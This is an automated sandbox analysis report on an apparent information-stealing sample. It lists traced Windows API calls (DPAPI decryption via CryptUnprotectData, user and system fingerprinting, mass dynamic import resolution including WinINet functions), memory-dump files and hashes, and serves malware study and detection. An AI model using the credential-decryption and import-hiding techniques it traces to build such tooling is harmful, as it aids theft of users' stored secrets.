GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014BDD78,00000000,?,00790E10,00000000,?,00000000,00000000,?), ref: 00787A7D
wsprintfA.USER32 ref: 00787AB7

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 930067d7e8fa68b6bf1f08dd4d5752c6509a664d89c5d4b1c42672f31cc8fb70
Instruction ID: 8fcb13037342cad458f44071bb0b39ea60865adefd4048dba3a17ecc1011addd
Opcode Fuzzy Hash: 930067d7e8fa68b6bf1f08dd4d5752c6509a664d89c5d4b1c42672f31cc8fb70
Instruction Fuzzy Hash: 371182B1949218EBDB249B54DD45F69B778FB04721F104399E51A932C0D7785E40CF91

Function 00779B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00779B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00779BA3
LocalFree.KERNEL32(?), ref: 00779BD3

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 955a82b6984f6ac5b07ff96cd7c6229c05a5ed7126ea5f610593af0a1f73af61
Instruction ID: 2063d0338601dfa1545187f50f2541d8087cfe0a8075ec194bdc97983d3ca98b
Opcode Fuzzy Hash: 955a82b6984f6ac5b07ff96cd7c6229c05a5ed7126ea5f610593af0a1f73af61
Instruction Fuzzy Hash: 0211C9B8A00209EFDB04DF94D999AAEB7B5FF89300F104598E919A7350D774AE10CFA1

Function 00787850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007711B7), ref: 00787880
RtlAllocateHeap.NTDLL(00000000), ref: 00787887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0078789F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 390416d5d46b3593fbd1ec61dcc8c1297b6700ab76227f150ac09c4c0461c824
Instruction ID: 89efc5a98e11ee594976f55ba1c12e4d24b23541116fcdabb367836c847b800b
Opcode Fuzzy Hash: 390416d5d46b3593fbd1ec61dcc8c1297b6700ab76227f150ac09c4c0461c824
Instruction Fuzzy Hash: 71F04FF1D48208ABC714DF98DD49FAEBBB8EB04721F10025AFA05A2680C7785904CBA1

Function 00771160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0077116A
ExitProcess.KERNEL32 ref: 0077117E

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: bfcc879a47b77985f320f3e082994a6f445e15bd83ebb110e97a015ef71b636f
Instruction ID: 994f3756345d7b79028f574be4479b1113f2ac12d4dfa9649f72769ede72e0c2
Opcode Fuzzy Hash: bfcc879a47b77985f320f3e082994a6f445e15bd83ebb110e97a015ef71b636f
Instruction Fuzzy Hash: D0D05E74D0830CDBCB00DFE0D9896DDBBB8FB08321F4006A4D90562340EA315881CBA6

Function 00789C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014A6300), ref: 00789C2D
GetProcAddress.KERNEL32(75900000,014A6580), ref: 00789C45
GetProcAddress.KERNEL32(75900000,014B8EF8), ref: 00789C5E
GetProcAddress.KERNEL32(75900000,014B8F40), ref: 00789C76
GetProcAddress.KERNEL32(75900000,014BCDB0), ref: 00789C8E
GetProcAddress.KERNEL32(75900000,014BCD68), ref: 00789CA7
GetProcAddress.KERNEL32(75900000,014AB158), ref: 00789CBF
GetProcAddress.KERNEL32(75900000,014BCD08), ref: 00789CD7
GetProcAddress.KERNEL32(75900000,014BCBA0), ref: 00789CF0
GetProcAddress.KERNEL32(75900000,014BCB10), ref: 00789D08
GetProcAddress.KERNEL32(75900000,014BCB28), ref: 00789D20
GetProcAddress.KERNEL32(75900000,014A6320), ref: 00789D39
GetProcAddress.KERNEL32(75900000,014A63A0), ref: 00789D51
GetProcAddress.KERNEL32(75900000,014A63E0), ref: 00789D69
GetProcAddress.KERNEL32(75900000,014A6400), ref: 00789D82
GetProcAddress.KERNEL32(75900000,014BCD20), ref: 00789D9A
GetProcAddress.KERNEL32(75900000,014BCD80), ref: 00789DB2
GetProcAddress.KERNEL32(75900000,014AB1F8), ref: 00789DCB
GetProcAddress.KERNEL32(75900000,014A6420), ref: 00789DE3
GetProcAddress.KERNEL32(75900000,014BCDC8), ref: 00789DFB
GetProcAddress.KERNEL32(75900000,014BCD98), ref: 00789E14
GetProcAddress.KERNEL32(75900000,014BCC90), ref: 00789E2C
GetProcAddress.KERNEL32(75900000,014BCDE0), ref: 00789E44
GetProcAddress.KERNEL32(75900000,014A6440), ref: 00789E5D
GetProcAddress.KERNEL32(75900000,014BCBB8), ref: 00789E75
GetProcAddress.KERNEL32(75900000,014BCDF8), ref: 00789E8D
GetProcAddress.KERNEL32(75900000,014BCB40), ref: 00789EA6
GetProcAddress.KERNEL32(75900000,014BCB58), ref: 00789EBE
GetProcAddress.KERNEL32(75900000,014BCBE8), ref: 00789ED6
GetProcAddress.KERNEL32(75900000,014BCB70), ref: 00789EEF
GetProcAddress.KERNEL32(75900000,014BCC78), ref: 00789F07
GetProcAddress.KERNEL32(75900000,014BCB88), ref: 00789F1F
GetProcAddress.KERNEL32(75900000,014BCC00), ref: 00789F38
GetProcAddress.KERNEL32(75900000,014B9E48), ref: 00789F50
GetProcAddress.KERNEL32(75900000,014BCBD0), ref: 00789F68
GetProcAddress.KERNEL32(75900000,014BCC18), ref: 00789F81
GetProcAddress.KERNEL32(75900000,014A6460), ref: 00789F99
GetProcAddress.KERNEL32(75900000,014BCC30), ref: 00789FB1
GetProcAddress.KERNEL32(75900000,014A64C0), ref: 00789FCA
GetProcAddress.KERNEL32(75900000,014BCC48), ref: 00789FE2
GetProcAddress.KERNEL32(75900000,014BCCA8), ref: 00789FFA
GetProcAddress.KERNEL32(75900000,014A64E0), ref: 0078A013
GetProcAddress.KERNEL32(75900000,014A6500), ref: 0078A02B
LoadLibraryA.KERNEL32(014BCC60,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A03D
LoadLibraryA.KERNEL32(014BCCC0,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A04E
LoadLibraryA.KERNEL32(014BCCD8,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A060
LoadLibraryA.KERNEL32(014BCCF0,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A072
LoadLibraryA.KERNEL32(014BCD50,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A083
LoadLibraryA.KERNEL32(014BCD38,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A095
LoadLibraryA.KERNEL32(014BCED0,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A0A7
LoadLibraryA.KERNEL32(014BCE10,?,00785CA3,00790AEB,?,?,?,?,?,?,?,?,?,?,00790AEA,00790AE3), ref: 0078A0B8
GetProcAddress.KERNEL32(75FD0000,014A66C0), ref: 0078A0DA
GetProcAddress.KERNEL32(75FD0000,014BCE70), ref: 0078A0F2
GetProcAddress.KERNEL32(75FD0000,014B8A40), ref: 0078A10A
GetProcAddress.KERNEL32(75FD0000,014BCFA8), ref: 0078A123
GetProcAddress.KERNEL32(75FD0000,014A6A00), ref: 0078A13B
GetProcAddress.KERNEL32(734B0000,014AB220), ref: 0078A160
GetProcAddress.KERNEL32(734B0000,014A6760), ref: 0078A179
GetProcAddress.KERNEL32(734B0000,014AB0B8), ref: 0078A191
GetProcAddress.KERNEL32(734B0000,014BCFC0), ref: 0078A1A9
GetProcAddress.KERNEL32(734B0000,014BCE88), ref: 0078A1C2
GetProcAddress.KERNEL32(734B0000,014A6A20), ref: 0078A1DA
GetProcAddress.KERNEL32(734B0000,014A69C0), ref: 0078A1F2
GetProcAddress.KERNEL32(734B0000,014BCE58), ref: 0078A20B
GetProcAddress.KERNEL32(763B0000,014A68C0), ref: 0078A22C
GetProcAddress.KERNEL32(763B0000,014A6880), ref: 0078A244
GetProcAddress.KERNEL32(763B0000,014BCE40), ref: 0078A25D
GetProcAddress.KERNEL32(763B0000,014BCF00), ref: 0078A275
GetProcAddress.KERNEL32(763B0000,014A67C0), ref: 0078A28D
GetProcAddress.KERNEL32(750F0000,014AAEB0), ref: 0078A2B3
GetProcAddress.KERNEL32(750F0000,014AAF78), ref: 0078A2CB
GetProcAddress.KERNEL32(750F0000,014BCF18), ref: 0078A2E3
GetProcAddress.KERNEL32(750F0000,014A6860), ref: 0078A2FC
GetProcAddress.KERNEL32(750F0000,014A6680), ref: 0078A314
GetProcAddress.KERNEL32(750F0000,014AB248), ref: 0078A32C
GetProcAddress.KERNEL32(75A50000,014BCF48), ref: 0078A352
GetProcAddress.KERNEL32(75A50000,014A67E0), ref: 0078A36A
GetProcAddress.KERNEL32(75A50000,014B8AB0), ref: 0078A382
GetProcAddress.KERNEL32(75A50000,014BCE28), ref: 0078A39B
GetProcAddress.KERNEL32(75A50000,014BCEA0), ref: 0078A3B3
GetProcAddress.KERNEL32(75A50000,014A6800), ref: 0078A3CB
GetProcAddress.KERNEL32(75A50000,014A69E0), ref: 0078A3E4
GetProcAddress.KERNEL32(75A50000,014BCF30), ref: 0078A3FC
GetProcAddress.KERNEL32(75A50000,014BCEB8), ref: 0078A414
GetProcAddress.KERNEL32(75070000,014A6700), ref: 0078A436
GetProcAddress.KERNEL32(75070000,014BCEE8), ref: 0078A44E
GetProcAddress.KERNEL32(75070000,014BCF90), ref: 0078A466
GetProcAddress.KERNEL32(75070000,014BCF60), ref: 0078A47F
GetProcAddress.KERNEL32(75070000,014BCF78), ref: 0078A497
GetProcAddress.KERNEL32(74E50000,014A6720), ref: 0078A4B8
GetProcAddress.KERNEL32(74E50000,014A6920), ref: 0078A4D1
GetProcAddress.KERNEL32(75320000,014A6780), ref: 0078A4F2
GetProcAddress.KERNEL32(75320000,014BC960), ref: 0078A50A
GetProcAddress.KERNEL32(6F060000,014A66A0), ref: 0078A530
GetProcAddress.KERNEL32(6F060000,014A6820), ref: 0078A548
GetProcAddress.KERNEL32(6F060000,014A66E0), ref: 0078A560
GetProcAddress.KERNEL32(6F060000,014BC9C0), ref: 0078A579
GetProcAddress.KERNEL32(6F060000,014A68E0), ref: 0078A591
GetProcAddress.KERNEL32(6F060000,014A68A0), ref: 0078A5A9
GetProcAddress.KERNEL32(6F060000,014A6840), ref: 0078A5C2
GetProcAddress.KERNEL32(6F060000,014A6940), ref: 0078A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0078A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0078A607
GetProcAddress.KERNEL32(74E00000,014BC8D0), ref: 0078A629
GetProcAddress.KERNEL32(74E00000,014B8AD0), ref: 0078A641
GetProcAddress.KERNEL32(74E00000,014BCA38), ref: 0078A659
GetProcAddress.KERNEL32(74E00000,014BC858), ref: 0078A672
GetProcAddress.KERNEL32(74DF0000,014A6740), ref: 0078A693
GetProcAddress.KERNEL32(6E570000,014BCAB0), ref: 0078A6B4
GetProcAddress.KERNEL32(6E570000,014A67A0), ref: 0078A6CD
GetProcAddress.KERNEL32(6E570000,014BCA50), ref: 0078A6E5
GetProcAddress.KERNEL32(6E570000,014BCA80), ref: 0078A6FD

Strings

HttpQueryInfoA, xrefs: 0078A5FC
InternetSetOptionA, xrefs: 0078A5E5

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d9232601007fcf0e3d13745e77124f43eaa2abb267a4d2828e3bc11aff1ae9e1
Instruction ID: e2cbec7cdddbe632fb7a0340c72b66694d0c3363c774bcc2207a18f4c84f755c
Opcode Fuzzy Hash: d9232601007fcf0e3d13745e77124f43eaa2abb267a4d2828e3bc11aff1ae9e1
Instruction Fuzzy Hash: 60622BB592C200AFC754DFA8EFC895637F9F74C721724871AA609C3674DA3A9841FB12

Function 00777710 Relevance: 96.8, APIs: 54, Strings: 1, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br), ref: 00777724
RtlAllocateHeap.NTDLL(00000000), ref: 0077772B
lstrcat.KERNEL32(?,014B94E8), ref: 007778DB
lstrcat.KERNEL32(?,?), ref: 007778EF
lstrcat.KERNEL32(?,?), ref: 00777903
lstrcat.KERNEL32(?,?), ref: 00777917
lstrcat.KERNEL32(?,014BDE20), ref: 0077792B
lstrcat.KERNEL32(?,014BDF70), ref: 0077793F
lstrcat.KERNEL32(?,014BDE80), ref: 00777952
lstrcat.KERNEL32(?,014BDE38), ref: 00777966
lstrcat.KERNEL32(?,014BDFF8), ref: 0077797A
lstrcat.KERNEL32(?,?), ref: 0077798E
lstrcat.KERNEL32(?,?), ref: 007779A2
lstrcat.KERNEL32(?,?), ref: 007779B6
lstrcat.KERNEL32(?,014BDE20), ref: 007779C9
lstrcat.KERNEL32(?,014BDF70), ref: 007779DD
lstrcat.KERNEL32(?,014BDE80), ref: 007779F1
lstrcat.KERNEL32(?,014BDE38), ref: 00777A04
lstrcat.KERNEL32(?,014BE060), ref: 00777A18
lstrcat.KERNEL32(?,?), ref: 00777A2C
lstrcat.KERNEL32(?,?), ref: 00777A40
lstrcat.KERNEL32(?,?), ref: 00777A54
lstrcat.KERNEL32(?,014BDE20), ref: 00777A68
lstrcat.KERNEL32(?,014BDF70), ref: 00777A7B
lstrcat.KERNEL32(?,014BDE80), ref: 00777A8F
lstrcat.KERNEL32(?,014BDE38), ref: 00777AA3
lstrcat.KERNEL32(?,014BE0C8), ref: 00777AB6
lstrcat.KERNEL32(?,?), ref: 00777ACA
lstrcat.KERNEL32(?,?), ref: 00777ADE
lstrcat.KERNEL32(?,?), ref: 00777AF2
lstrcat.KERNEL32(?,014BDE20), ref: 00777B06
lstrcat.KERNEL32(?,014BDF70), ref: 00777B1A
lstrcat.KERNEL32(?,014BDE80), ref: 00777B2D
lstrcat.KERNEL32(?,014BDE38), ref: 00777B41
lstrcat.KERNEL32(?,014BE130), ref: 00777B55
lstrcat.KERNEL32(?,?), ref: 00777B69
lstrcat.KERNEL32(?,?), ref: 00777B7D
lstrcat.KERNEL32(?,?), ref: 00777B91
lstrcat.KERNEL32(?,014BDE20), ref: 00777BA4
lstrcat.KERNEL32(?,014BDF70), ref: 00777BB8
lstrcat.KERNEL32(?,014BDE80), ref: 00777BCC
lstrcat.KERNEL32(?,014BDE38), ref: 00777BDF
lstrcat.KERNEL32(?,014BE198), ref: 00777BF3
lstrcat.KERNEL32(?,?), ref: 00777C07
lstrcat.KERNEL32(?,?), ref: 00777C1B
lstrcat.KERNEL32(?,?), ref: 00777C2F
lstrcat.KERNEL32(?,014BDE20), ref: 00777C43
lstrcat.KERNEL32(?,014BDF70), ref: 00777C56
lstrcat.KERNEL32(?,014BDE80), ref: 00777C6A
lstrcat.KERNEL32(?,014BDE38), ref: 00777C7E

Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,007917FC), ref: 00777606
Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,00000000), ref: 00777648
